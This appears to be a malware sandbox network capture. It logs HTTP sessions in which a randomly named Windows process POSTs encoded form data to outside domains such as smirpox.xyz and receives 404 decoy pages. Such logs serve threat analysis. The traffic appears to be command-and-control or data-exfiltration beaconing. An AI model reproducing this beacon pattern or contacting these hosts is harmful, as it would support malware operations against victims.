Nov 12, 2024 18:49:34.119739056 CET	847	OUT	POST /kfzf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.tempatmudisini06.click Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/kfzf/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 32 36 52 34 38 58 71 6c 73 56 52 34 58 6e 39 51 6a 76 61 34 63 6a 61 2f 36 69 72 61 32 31 61 65 32 2f 30 57 30 74 4c 6e 6b 71 49 78 6a 61 4d 45 59 39 4e 32 7a 7a 36 6f 47 74 37 73 47 59 79 4f 6f 43 50 46 71 50 55 78 78 53 6e 6c 5a 4a 70 6f 6f 77 36 45 4b 30 31 35 2b 77 41 45 62 38 48 4d 52 62 78 72 59 36 46 49 6d 41 64 30 54 76 33 67 53 34 65 54 37 37 65 7a 65 78 48 2f 57 52 63 6a 31 31 76 64 57 72 4a 43 6c 46 34 72 79 76 49 41 43 52 36 73 59 6a 39 52 53 6b 38 49 42 4d 6d 58 4a 70 64 57 54 54 65 78 36 77 68 31 38 6f 6c 59 6b 74 4e 37 72 5a 2b 4b 76 46 53 55 36 63 78 65 57 61 64 4f 71 56 67 44 53 65 71 4b 78 79 2f 52 70 54 57 58 4e 66 59 3d Data Ascii: C0oD=26R48XqlsVR4Xn9Qjva4cja/6ira21ae2/0W0tLnkqIxjaMEY9N2zz6oGt7sGYyOoCPFqPUxxSnlZJpoow6EK015+wAEb8HMRbxrY6FImAd0Tv3gS4eT77ezexH/WRcj11vdWrJClF4ryvIACR6sYj9RSk8IBMmXJpdWTTex6wh18olYktN7rZ+KvFSU6cxeWadOqVgDSeqKxy/RpTWXNfY=
Nov 12, 2024 18:49:35.112253904 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 12 Nov 2024 17:49:34 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50029	103.21.221.4	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:36.668064117 CET	10929	OUT	POST /kfzf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.tempatmudisini06.click Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.tempatmudisini06.click Referer: http://www.tempatmudisini06.click/kfzf/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 32 36 52 34 38 58 71 6c 73 56 52 34 58 6e 39 51 6a 76 61 34 63 6a 61 2f 36 69 72 61 32 31 61 65 32 2f 30 57 30 74 4c 6e 6b 71 77 78 67 71 51 45 62 65 56 32 30 7a 36 6f 4d 4e 37 74 47 59 7a 55 6f 42 2f 2f 71 50 6f 68 78 52 66 6c 4c 5a 31 6f 68 6c 57 45 54 6b 31 35 6a 67 41 51 57 63 48 64 52 62 67 69 59 2b 5a 49 6d 41 64 30 54 70 54 67 52 74 69 54 6f 4c 65 77 5a 78 48 37 53 52 64 32 31 31 6e 4e 57 72 64 53 6c 32 67 72 79 50 59 41 48 6a 53 73 48 7a 39 58 56 6b 38 51 42 4d 72 50 4a 70 41 70 54 54 36 62 36 33 70 31 2b 2b 6b 31 32 2b 4a 38 39 49 32 73 73 53 76 7a 78 66 6c 38 55 36 74 37 73 57 34 6d 49 4f 79 63 32 68 47 56 77 44 43 76 5a 71 78 2f 79 62 34 43 4e 5a 30 72 5a 70 4a 31 34 77 48 44 43 45 76 42 52 6f 72 43 41 4b 75 4b 69 58 4e 46 35 6d 77 45 65 6c 6d 53 66 61 67 33 4a 51 2f 78 45 45 4e 68 7a 68 70 63 2b 32 44 42 69 49 43 56 66 78 47 31 36 43 56 54 4d 53 56 4f 64 32 4b 67 68 6f 4c 42 45 4f 6d 61 50 70 4d 56 45 45 79 53 61 62 37 6b 33 70 68 2f 32 53 56 61 53 44 38 79 6d 30 37 67 55 [TRUNCATED] Data Ascii: C0oD=26R48XqlsVR4Xn9Qjva4cja/6ira21ae2/0W0tLnkqwxgqQEbeV20z6oMN7tGYzUoB//qPohxRflLZ1ohlWETk15jgAQWcHdRbgiY+ZImAd0TpTgRtiToLewZxH7SRd211nNWrdSl2gryPYAHjSsHz9XVk8QBMrPJpApTT6b63p1++k12+J89I2ssSvzxfl8U6t7sW4mIOyc2hGVwDCvZqx/yb4CNZ0rZpJ14wHDCEvBRorCAKuKiXNF5mwEelmSfag3JQ/xEENhzhpc+2DBiICVfxG16CVTMSVOd2KghoLBEOmaPpMVEEySab7k3ph/2SVaSD8ym07gU2VgIYfy7ko+4uXTSvROFPeV7NQqwVWQbl4ywTqULkK5AKYoIMsPGGmUj55xbTsU9EXVqFO3uP1y0yNZgqdYEpE5DeKXQYmAq1+0ecqJ3Qgnvxr/4xWh9d3pPRwkSxAh1ipsNcwYvbXaPl+S1FJceA9dm7X1+s9heped/sofvZHdgEsdwYZ++xVPeTgRKoOJG3gOr1p0ix25ueJWuzDMAvmmSBROGcD7q9Jdf1OeIpwuC/Mh8Z//fsrjF7I5cJQ9PnDZRrjbCfDezQui9PyureqTFLHR1PeWvdt2aJA8aj55/oYBXIFHUselmht21idQ60bD4+da8t7cWmFQ1a7Wj/wBO6ttKwla30oLG5gHrayeJRX+rOiJKGEl75lmhA+SS8kTxlqcZdMtGNDgr351pZ+rvv7dnSqSGO4yJU20lWbQzFREUYOROlhBwq6HM/+R9iBU5uHe2fUkqXHlkL1Qa+9j1lwh7Ud+O7Zml73D0alBxbjj07xIcOXhBmqaQCMF592jxqE/CdKMaY3dnhD2shW7UDMEFFJZp9Tzmk0hkO7Md1rXouflGHHV2JOl3lWXgnWe5D+zpFGkox9BmGFtAarK/a7YxJxajjdxZ3GxPGmtyj9EAc0MFM19yMof7YRcxPD2uKQCrIrgyAMcuT9ohjwqOymr6cax0Lm [TRUNCATED]
Nov 12, 2024 18:49:37.660224915 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 12 Nov 2024 17:49:37 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50030	103.21.221.4	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:39.207734108 CET	548	OUT	GET /kfzf/?C0oD=745Y/jOyjUFFKVt1zrqnMxLflzH3xCS2ztdY3unhpOMZjpxTMolv6jL+LcLzYo7s20rMx9IK4inFAvVSlw+JL0dGgGxHe8jTeLADQYR7lRwUQufrcbnmx6Y=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.tempatmudisini06.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:49:40.204647064 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 12 Nov 2024 17:49:40 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50031	203.161.46.201	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:45.649389029 CET	794	OUT	POST /qnzs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.smirpox.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.smirpox.xyz Referer: http://www.smirpox.xyz/qnzs/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 4c 7a 4d 6a 45 67 4d 66 78 4c 5a 58 45 64 72 32 57 73 2b 64 48 33 42 46 77 61 62 2b 63 75 45 44 4a 4c 78 61 6d 35 79 44 6d 46 64 33 53 43 6c 50 57 36 6d 4f 55 71 65 35 56 32 61 5a 64 6d 53 69 6b 6d 33 2b 78 48 67 72 35 36 59 59 6f 6d 6e 67 48 33 76 39 33 42 30 44 4d 4f 5a 72 2b 2f 56 38 6b 78 4b 73 64 54 62 68 71 66 4e 50 52 37 4f 65 30 78 63 6f 56 35 53 58 43 48 78 4c 46 48 4d 57 69 57 2f 42 58 52 51 77 63 65 4a 35 48 38 6d 62 49 55 31 4e 74 69 34 42 37 6d 6a 53 75 78 74 44 4f 6a 39 50 51 2f 72 73 73 72 65 35 68 6b 66 75 4a 7a 4d 46 37 30 68 6f 4a 4d 4e 30 4e 73 6a 75 43 51 3d 3d Data Ascii: C0oD=LzMjEgMfxLZXEdr2Ws+dH3BFwab+cuEDJLxam5yDmFd3SClPW6mOUqe5V2aZdmSikm3+xHgr56YYomngH3v93B0DMOZr+/V8kxKsdTbhqfNPR7Oe0xcoV5SXCHxLFHMWiW/BXRQwceJ5H8mbIU1Nti4B7mjSuxtDOj9PQ/rssre5hkfuJzMF70hoJMN0NsjuCQ==
Nov 12, 2024 18:49:46.307281971 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:49:46 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <cir [TRUNCATED]
Nov 12, 2024 18:49:46.307310104 CET	1236	IN	Data Raw: 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 Data Ascii: 7.1)" style="fill: #ffe029"/> <circle cx="438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27
Nov 12, 2024 18:49:46.307332039 CET	1236	IN	Data Raw: 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 37 31 2e 35 22 20 63 79 3d 22 38 31 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 32 30 2e 39 20 33 30 34 2e 38 29 20 72 6f 74 61 74 65 Data Ascii: <circle cx="471.5" cy="817.7" r="3.7" transform="translate(-320.9 304.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/>
Nov 12, 2024 18:49:46.307662010 CET	1236	IN	Data Raw: 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 30 31 2e 37 20 33 31 37 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 Data Ascii: 7" transform="translate(-301.7 317.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="504.6" cy="802.3" r="3.7" transform="translate(-310.2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7
Nov 12, 2024 18:49:46.307815075 CET	848	IN	Data Raw: 20 33 34 31 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 37 30 2e 35 22 20 63 79 3d 22 38 30 37 Data Ascii: 341.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="570.5" cy="807.2" r="3.7" transform="translate(-305.2 348.7) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="572.5" cy="790.5" r="3.7" transform="translate(-297.3
Nov 12, 2024 18:49:46.308185101 CET	1236	IN	Data Raw: 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 33 30 2e 36 22 20 63 79 3d 22 37 35 38 2e 35 22 20 72 Data Ascii: 2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="630.6" cy="758.5" r="3.7" transform="translate(-276.4 370.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="647" cy="766.1" r="3.7" transform="translate(-278 379) rota
Nov 12, 2024 18:49:46.308198929 CET	1236	IN	Data Raw: 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 30 39 2e 32 22 20 63 79 3d 22 37 30 31 2e 33 22 20 72 3d 22 33 2e 36 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 32 2e 37 20 33 35 34 Data Ascii: "/> <circle cx="609.2" cy="701.3" r="3.6" transform="translate(-252.7 354.7) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="606.7" cy="718.2" r="3.7" transform="translate(-260.6 355.4) rotate(-27.1)" style="fill: #ffe029"
Nov 12, 2024 18:49:46.308221102 CET	1236	IN	Data Raw: 22 20 63 79 3d 22 37 33 30 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 37 30 2e 36 20 33 33 39 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c Data Ascii: " cy="730.7" r="3.7" transform="translate(-270.6 339.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="571.9" cy="714.5" r="3.7" transform="translate(-262.8 339.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="587.4"
Nov 12, 2024 18:49:46.308238029 CET	636	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 36 20 33 31 39 2e 36 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.6 319.6) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="526.3" cy="682.4" r="3.7" transform="translate(-253.2 314.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="522.2" cy="697.3" r="3.7" transfor
Nov 12, 2024 18:49:46.308844090 CET	1236	IN	Data Raw: 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 34 31 2e 31 22 20 63 79 3d 22 36 39 32 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: -27.1)" style="fill: #ffe029"/> <circle cx="541.1" cy="692.9" r="3.7" transform="translate(-256.4 322.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-
Nov 12, 2024 18:49:46.313348055 CET	1236	IN	Data Raw: 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 32 22 20 63 79 3d 22 37 34 38 2e 31 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 38 34 2e 37 20 33 31 35 2e 35 29 20 72 6f 74 61 74 65 Data Ascii: <circle cx="512" cy="748.1" r="3.7" transform="translate(-284.7 315.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="515.2" cy="730.5" r="3.7" transform="translate(-276.3 315.1) rotate(-27.1)" style="fill: #ffe029"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50032	203.161.46.201	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:48.194948912 CET	814	OUT	POST /qnzs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.smirpox.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.smirpox.xyz Referer: http://www.smirpox.xyz/qnzs/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 4c 7a 4d 6a 45 67 4d 66 78 4c 5a 58 57 74 62 32 46 64 2b 64 46 58 42 47 70 36 62 2b 54 4f 45 59 4a 4c 31 61 6d 34 47 70 6d 78 78 33 53 6a 56 50 58 2f 4b 4f 56 71 65 35 4d 47 61 63 53 47 53 58 6b 6d 37 41 78 46 45 72 35 2b 77 59 6f 6e 33 67 47 45 33 2b 78 42 30 42 44 75 5a 74 78 66 56 38 6b 78 4b 73 64 54 50 62 71 66 56 50 52 49 57 65 30 51 63 72 66 5a 53 55 42 48 78 4c 50 6e 4d 61 69 57 2f 76 58 55 35 62 63 59 4e 35 48 2b 2b 62 4c 46 31 4b 6a 69 34 62 2f 6d 6a 4e 68 6b 31 48 49 7a 63 79 53 38 76 75 6c 49 6d 50 67 69 53 30 59 43 74 53 70 30 46 62 55 4c 45 41 41 76 65 6e 5a 57 73 64 6c 61 64 50 63 52 47 79 68 51 78 33 67 75 77 4c 79 31 55 3d Data Ascii: C0oD=LzMjEgMfxLZXWtb2Fd+dFXBGp6b+TOEYJL1am4Gpmxx3SjVPX/KOVqe5MGacSGSXkm7AxFEr5+wYon3gGE3+xB0BDuZtxfV8kxKsdTPbqfVPRIWe0QcrfZSUBHxLPnMaiW/vXU5bcYN5H++bLF1Kji4b/mjNhk1HIzcyS8vulImPgiS0YCtSp0FbULEAAvenZWsdladPcRGyhQx3guwLy1U=
